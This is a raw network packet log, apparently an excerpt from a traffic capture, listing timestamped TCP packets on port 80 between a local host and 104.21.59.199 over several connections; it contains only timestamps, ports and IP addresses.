Oct 10, 2024 21:02:40.220107079 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.220160007 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.220186949 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.220216036 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.220242023 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.220272064 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.220290899 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.220299006 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.220292091 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.220345974 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.220393896 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.220416069 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.220465899 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.227638960 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.227832079 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.227859020 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.227885962 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.227911949 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.227971077 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.227987051 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.228096008 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.228137970 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.228142023 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.228226900 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.228841066 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.231333017 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.231426954 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.237858057 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.237926960 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.239126921 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239248037 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239274979 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239520073 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239547968 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239573956 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239619970 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239646912 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239672899 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239697933 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239840031 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239866018 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239892006 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239917994 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239943027 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.239969015 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.252975941 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.695637941 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.705312967 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.756894112 CEST	80	50528	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.756979942 CEST	50528	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.820676088 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.854104996 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:40.854245901 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.854605913 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:40.871053934 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.462697983 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.464176893 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.464291096 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.524682999 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.524714947 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.524727106 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.524743080 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.524768114 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.524779081 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.524805069 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.525015116 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.525015116 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.525418043 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.525445938 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.525471926 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.525497913 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.525604010 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.525604010 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.590945005 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.591217041 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.591564894 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.591593027 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.591619968 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.591645956 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.591770887 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.592515945 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.592763901 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.592890024 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.593034983 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.593101978 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.634274006 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.634459019 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.664455891 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.664679050 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:41.664812088 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.665052891 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.665143967 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.665505886 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.666162014 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.666521072 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.666769028 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.666800976 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.666850090 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.666876078 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.666907072 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.667151928 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.667345047 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.667371035 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.667412996 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.667486906 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.667512894 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.667537928 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.667562962 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.667794943 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.667953968 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.711101055 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.714566946 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.726723909 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.726751089 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:41.726777077 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.016581059 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.025921106 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.058001995 CEST	80	50534	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.058187008 CEST	50534	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.156390905 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.190603018 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.190831900 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.191157103 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.221076965 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.830585957 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.831723928 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.832050085 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.849178076 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849214077 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849241972 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849268913 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849283934 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.849296093 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849323988 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849330902 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.849330902 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.849351883 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849375963 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.849380016 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849409103 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849426985 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.849436045 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849456072 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.849464893 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.849514008 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.849514008 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.869267941 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.869323969 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.869353056 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.869496107 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.874397993 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.874449015 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.874475956 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.874556065 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.874732018 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.874818087 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.885090113 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.885123014 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.885134935 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.885525942 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:42.888871908 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.888900042 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.888925076 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.888936043 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.888947010 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.888957977 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.888967991 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.888978958 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.888988972 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.888999939 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.889009953 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.889020920 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.889030933 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.889065027 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.889111996 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.889137030 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.889162064 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.895505905 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.895884037 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.895932913 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:42.899084091 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.168451071 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.182180882 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.195573092 CEST	80	50540	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.195661068 CEST	50540	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.305588961 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.316437006 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.316514969 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.316891909 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.324455023 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.815495968 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.816059113 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.816257000 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.827559948 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827574015 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827584982 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827596903 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827611923 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827625036 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827630043 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827635050 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.827641010 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827652931 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827656031 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.827657938 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827656031 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.827662945 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.827678919 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.827752113 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.838426113 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.838439941 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.838453054 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.838464975 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.838475943 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.838485003 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.838511944 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.838538885 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.840976954 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.841078997 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.846936941 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.846951008 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.846993923 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:43.848299980 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.849525928 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.849539042 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.850465059 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.850476980 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.850488901 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.850500107 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.850509882 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.850521088 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.850532055 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.860019922 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.860047102 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.860074043 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.860100031 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.860126019 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:43.860151052 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:44.151355982 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:44.196909904 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:44.365833998 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:44.376558065 CEST	80	50546	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:44.376655102 CEST	50546	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:44.538024902 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:44.545269966 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:44.545363903 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:44.545730114 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:44.551449060 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.556514978 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.556813002 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.650733948 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.653156042 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.653460026 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.655937910 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.655983925 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.659672976 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.659686089 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.659744024 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.660448074 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.660851002 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.660923004 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.661803961 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.661814928 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.661844015 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.661878109 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.662518978 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.662580013 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.663142920 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.663155079 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.663212061 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.663564920 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.663577080 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.663618088 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.671849012 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.671914101 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.672703028 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.672763109 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.673564911 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.673592091 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.673618078 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.673618078 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.673641920 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.673669100 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.676810980 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.676839113 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.676888943 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.676944017 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.679299116 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.680453062 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.680526018 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.681715965 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.681765079 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:45.681895971 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.681930065 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.683629036 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.684874058 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.685077906 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688159943 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688189030 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688215017 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688481092 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688507080 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688533068 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688558102 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688582897 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688786030 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688812017 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688837051 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688863039 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.688893080 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.984901905 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:45.995626926 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.013778925 CEST	80	50552	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.013843060 CEST	50552	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.117552042 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.139519930 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.139916897 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.150548935 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.173448086 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.649497986 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.683603048 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.683845043 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.695795059 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.696331024 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.696361065 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.696732044 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.697285891 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.697313070 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.697339058 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.697366953 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.697392941 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.697408915 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.697418928 CEST	80	50563	104.21.59.199	192.168.2.4
